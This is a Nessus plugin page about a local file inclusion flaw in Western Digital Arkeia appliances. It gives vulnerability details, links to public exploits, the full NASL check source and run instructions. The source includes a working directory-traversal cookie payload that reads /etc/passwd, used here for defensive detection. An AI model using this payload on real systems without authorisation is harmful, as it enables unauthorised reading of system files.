Western Digital Arkeia lang Cookie Local File Inclusion - Nessus

Medium   Plugin ID: 74220

This page contains detailed information about the Western Digital Arkeia lang Cookie Local File Inclusion Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 74220
Name: Western Digital Arkeia lang Cookie Local File Inclusion
Filename: wd_arkeia_10_1_9_cookie_lfi.nasl
Vulnerability Published: 2013-09-17
This Plugin Published: 2014-05-28
Last Modification Time: 2021-01-19
Plugin Version: 1.8
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: wd_arkeia_detect.nbin
Required KB Items [?]: www/PHP, www/wd_arkeia

Vulnerability Information


Severity: Medium
Vulnerability Published: 2013-09-17
Patch Published: 2013-08-28
CVE [?]: N/A
CPE [?]: cpe:/a:wdc:arkeia_virtual_appliance

Synopsis

The remote web server hosts a PHP script that is affected by a local file inclusion vulnerability.

Description

The remote Western Digital Arkeia device hosts a PHP script that is affected by a local file inclusion vulnerability. A remote, unauthenticated attacker can exploit this issue to read or execute arbitrary files by crafting a request with directory traversal sequences in the 'lang' cookie.

Note that the application is also reportedly affected by a remote file upload arbitrary code execution vulnerability; however, Nessus has not tested for this issue.

Solution

Upgrade to version 10.1.9 or later.

Public Exploits


Target Network Port(s): 80, 443
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Western Digital Arkeia lang Cookie Local File Inclusion vulnerability:

  1. Metasploit: exploit/multi/misc/arkeia_agent_exec
    [Western Digital Arkeia Remote Code Execution]
  2. Metasploit: exploit/unix/webapp/arkeia_upload_exec
    [Western Digital Arkeia Remote Code Execution]
  3. Exploit-DB: exploits/php/webapps/28330.txt
    [EDB-28330: Western Digital Arkeia Appliance 10.0.10 - Multiple Vulnerabilities]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: Manual
CVSS Score Rationale: Score based on analysis of the vendor advisory.
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:N/A:N/E:F/RL:OF/RC:ND
CVSS Base Score:5.0 (Medium)
Impact Subscore:2.9
Exploitability Subscore:10.0
CVSS Temporal Score:4.1 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:4.1 (Medium)

Go back to menu.

Plugin Source


This is the wd_arkeia_10_1_9_cookie_lfi.nasl nessus plugin source code. This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(74220);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_bugtraq_id(62444);
  script_xref(name:"EDB-ID", value:"28330");

  script_name(english:"Western Digital Arkeia lang Cookie Local File Inclusion");
  script_summary(english:"Tries to read a local file");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP script that is affected by a local
file inclusion vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote Western Digital Arkeia device hosts a PHP script that is
affected by a local file inclusion vulnerability. A remote,
unauthenticated attacker can exploit this issue to read or execute
arbitrary files by crafting a request with directory traversal
sequences in the 'lang' cookie.

Note that the application is also reportedly affected by a remote file
upload arbitrary code execution vulnerability; however, Nessus has not
tested for this issue.");
  # ftp://ftp.arkeia.com/arkeia-software-application/arkeia-10.1/documentation/CHANGES-10.1.9
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?236dbbe5");
  script_set_attribute(attribute:"solution", value:"Upgrade to version 10.1.9 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
  script_set_attribute(attribute:"cvss_score_source", value:"manual");
  script_set_attribute(attribute:"cvss_score_rationale", value:"Score based on analysis of the vendor advisory.");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Western Digital Arkeia Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/09/17");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/08/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/05/28");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wdc:arkeia_virtual_appliance");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wd_arkeia_detect.nbin");
  script_require_keys("www/PHP", "www/wd_arkeia");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE, embedded:TRUE);

install = get_install_from_kb(
  appname      : "wd_arkeia",
  port         : port,
  exit_on_fail : TRUE
);
dir = install["dir"];

app = "Western Digital Arkeia";
file = "etc/passwd";
file_pat = "root:.*:0:[01]:";

vuln = FALSE;
clear_cookiejar();
attack =  mult_str(str:"../", nb:12);
cookie = "lang="+attack+file+"%00";

user = rand_str();
pass = rand_str();

res = http_send_recv3(
  method : "GET",
  port   : port,
  item   : dir + "/",
  add_headers  : make_array("Cookie", cookie),
  exit_on_fail : TRUE
);
if (egrep(pattern:file_pat, string:res[2])) vuln = TRUE;

if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(qs:dir, port:port));

report = NULL;
attach_file = NULL;
output = NULL;
req = http_last_sent_request();
request = NULL;

if (report_verbosity > 0)
{
  report =
    '\n' + 'Nessus was able to exploit the issue to retrieve the contents of ' +
    '\n' + "'/" + file + "'" + ' using the following request :' +
    '\n' +
    '\n' + req +
    '\n';

  if (report_verbosity > 1)
  {
    # Filter output to remove page errors for 8.x / 9.x versions
    output = res[2];
    pos = stridx(output, '<br');
    if (pos > 0)
    {
      output = substr(output, 0, pos - 1);
    }
    output = data_protection::redact_etc_passwd(output:output);
    attach_file = file;
    request = make_list(req);
  }
}

security_report_v4(port:port,
                   extra:report,
                   severity:SECURITY_WARNING,
                   request:request,
                   file:attach_file,
                   output:output);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/wd_arkeia_10_1_9_cookie_lfi.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\wd_arkeia_10_1_9_cookie_lfi.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/wd_arkeia_10_1_9_cookie_lfi.nasl

Go back to menu.

How to Run


Here is how to run the Western Digital Arkeia lang Cookie Local File Inclusion as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Western Digital Arkeia lang Cookie Local File Inclusion plugin ID 74220.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl wd_arkeia_10_1_9_cookie_lfi.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a wd_arkeia_10_1_9_cookie_lfi.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - wd_arkeia_10_1_9_cookie_lfi.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state wd_arkeia_10_1_9_cookie_lfi.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 74262 - Western Digital Arkeia 10.1.x < 10.1.19 / 10.2.x < 10.2.9 Multiple Vulnerabilities (Heartbleed)
  • 74221 - Western Digital Arkeia lang Cookie Crafted Local File Inclusion
  • 105732 - Western Digital MyCloud Unauthenticated File Upload
  • 69370 - Western Digital My Net Router main_internet.php Admin Credential Disclosure
  • 14771 - Apache <= 1.3.33 htpasswd Local Overflow
  • 72672 - Artweaver 3.x < 3.1.6 AWD File Buffer Overflow
  • 110772 - Atlassian Crowd < 2.11.2 OAuth Plugin IconUriServlet Internal Network Resource Disclosure CSRF
  • 125477 - Atlassian Crowd 2.1.x < 3.0.5 / 3.1.x < 3.1.6 / 3.2.x < 3.2.8 / 3.3.x < 3.3.5 / 3.4.x < 3.4.4 RCE Vulnerability
  • 138553 - Atlassian Crowd 2.1.x < 3.0.5 / 3.1.x < 3.1.6 / 3.2.x < 3.2.8 / 3.3.x < 3.3.5 / 3.4.x < 3.4.4 RCE (direct check)
  • 11205 - WarFTPd CWD/MKD Command Overflow
  • 106386 - Juniper Junos Flowd TCP/IP Response Packet Handling Remote DoS (JSA10829)
  • 63186 - NetIQ Privileged User Manager Password Change Authentication Bypass (version check)
  • 62991 - NetIQ Privileged User Manager Password Change Authentication Bypass (intrusive check)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wd_arkeia_10_1_9_cookie_lfi.nasl version 1.8. For more plugins, visit the Nessus Plugin Library.

Go back to menu.